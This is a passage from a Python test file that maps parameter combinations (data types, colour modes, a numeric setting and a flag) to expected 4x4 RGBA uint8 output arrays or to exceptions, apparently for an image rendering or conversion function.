[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [255, 0, 0, 0]],
[[255, 0, 0, 0], [0, 255, 255, 0], [0, 0, 255, 255], [0, 0, 0, 0]],
[[255, 0, 0, 0], [0, 255, 0, 255], [255, 0, 0, 255], [0, 255, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint16, 13333, True): np.array(
[
[[0, 255, 0, 255], [255, 0, 0, 0], [0, 255, 0, 0], [255, 0, 255, 0]],
[[0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 255]],
[[0, 0, 255, 0], [255, 255, 0, 0], [0, 0, 0, 255], [0, 0, 255, 0]],
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint16, 13333, False): np.array(
[
[[0, 255, 0, 255], [0, 0, 255, 0], [0, 255, 0, 0], [255, 0, 255, 0]],
[[255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 255]],
[[255, 0, 0, 0], [0, 255, 255, 0], [0, 0, 0, 255], [255, 0, 0, 0]],
[[0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", None, None, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", None, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", None, 232, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", None, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint16, None, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint16, 232, True): np.array(
[
[[0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGB", None, None, True): Exception,
(np.uint16, "RGBA", "RGB", None, None, False): Exception,
(np.uint16, "RGBA", "RGB", None, 232, True): Exception,
(np.uint16, "RGBA", "RGB", None, 232, False): Exception,
(np.uint16, "RGBA", "RGB", None, 13333, True): Exception,
(np.uint16, "RGBA", "RGB", None, 13333, False): Exception,
(np.uint16, "RGBA", "RGB", np.uint8, None, True): Exception,
(np.uint16, "RGBA", "RGB", np.uint8, None, False): Exception,
(np.uint16, "RGBA", "RGB", np.uint8, 232, True): Exception,
(np.uint16, "RGBA", "RGB", np.uint8, 232, False): Exception,
(np.uint16, "RGBA", "RGB", np.uint8, 13333, True): Exception,
(np.uint16, "RGBA", "RGB", np.uint8, 13333, False): Exception,
(np.uint16, "RGBA", "RGB", np.uint16, None, True): Exception,
(np.uint16, "RGBA", "RGB", np.uint16, None, False): Exception,
(np.uint16, "RGBA", "RGB", np.uint16, 232, True): Exception,
(np.uint16, "RGBA", "RGB", np.uint16, 232, False): Exception,
(np.uint16, "RGBA", "RGB", np.uint16, 13333, True): Exception,
(np.uint16, "RGBA", "RGB", np.uint16, 13333, False): Exception,
(np.uint16, "RGBA", "RGBA", None, None, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[108, 255, 255, 255], [255, 255, 255, 255], [203, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 139, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", None, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 108, 255], [255, 255, 255, 255], [255, 255, 203, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 139, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", None, 232, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[98, 255, 255, 255], [255, 255, 255, 255], [184, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 126, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", None, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 98, 255], [255, 255, 255, 255], [255, 255, 184, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 126, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint16, None, True): np.array(
[
[[0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint16, None, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint16, 232, True): np.array(
[
[[255, 255, 255, 0], [255, 0, 255, 0], [0, 0, 255, 0], [0, 0, 255, 0]],
[[0, 0, 255, 0], [255, 0, 255, 0], [0, 255, 0, 0], [255, 0, 255, 0]],
[[0, 255, 0, 0], [255, 0, 0, 0], [0, 255, 0, 0], [255, 255, 255, 0]],
[[0, 0, 255, 0], [0, 0, 255, 255], [0, 255, 255, 255], [255, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint16, 232, False): np.array(
[
[[255, 255, 255, 0], [255, 0, 255, 0], [255, 0, 0, 0], [255, 0, 0, 0]],
[[255, 0, 0, 0], [255, 0, 255, 0], [0, 255, 0, 0], [255, 0, 255, 0]],
[[0, 255, 0, 0], [0, 0, 255, 0], [0, 255, 0, 0], [255, 255, 255, 0]],
[[255, 0, 0, 0], [255, 0, 0, 255], [255, 255, 0, 255], [255, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint16, 13333, True): np.array(
[
[[255, 255, 0, 0], [255, 0, 0, 0], [0, 255, 0, 0], [0, 255, 0, 0]],
[[0, 255, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [255, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", "RGBA", np.uint16, 13333, False): np.array(
[
[[0, 255, 255, 0], [0, 0, 255, 0], [0, 255, 0, 0], [0, 255, 0, 0]],
[[0, 255, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 255, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", None, None, True): np.array(
[
[[255, 255, 255, 255], [136, 136, 136, 255], [0, 0, 0, 0], [225, 225, 225, 255]],
[[216, 216, 216, 255], [224, 224, 224, 255], [255, 255, 255, 255], [16, 16, 16, 255]],
[[252, 252, 252, 255], [216, 216, 216, 255], [42, 42, 42, 255], [252, 252, 252, 255]],
[[18, 18, 18, 255], [169, 169, 169, 255], [223, 223, 223, 255], [252, 252, 252, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", None, None, False): np.array(
[
[[255, 255, 255, 255], [136, 136, 136, 255], [0, 0, 0, 0], [225, 225, 225, 255]],
[[216, 216, 216, 255], [224, 224, 224, 255], [255, 255, 255, 255], [16, 16, 16, 255]],
[[252, 252, 252, 255], [216, 216, 216, 255], [42, 42, 42, 255], [252, 252, 252, 255]],
[[18, 18, 18, 255], [169, 169, 169, 255], [223, 223, 223, 255], [252, 252, 252, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", None, 232, True): np.array(
[
[[255, 255, 255, 255], [124, 124, 124, 255], [0, 0, 0, 0], [205, 205, 205, 255]],
[[197, 197, 197, 255], [204, 204, 204, 255], [232, 232, 232, 255], [15, 15, 15, 255]],
[[230, 230, 230, 255], [196, 196, 196, 255], [38, 38, 38, 255], [229, 229, 229, 255]],
[[16, 16, 16, 255], [153, 153, 153, 255], [203, 203, 203, 255], [229, 229, 229, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", None, 232, False): np.array(
[
[[255, 255, 255, 255], [124, 124, 124, 255], [0, 0, 0, 0], [205, 205, 205, 255]],
[[197, 197, 197, 255], [204, 204, 204, 255], [232, 232, 232, 255], [15, 15, 15, 255]],
[[230, 230, 230, 255], [196, 196, 196, 255], [38, 38, 38, 255], [229, 229, 229, 255]],
[[16, 16, 16, 255], [153, 153, 153, 255], [203, 203, 203, 255], [229, 229, 229, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "2D", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 0], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
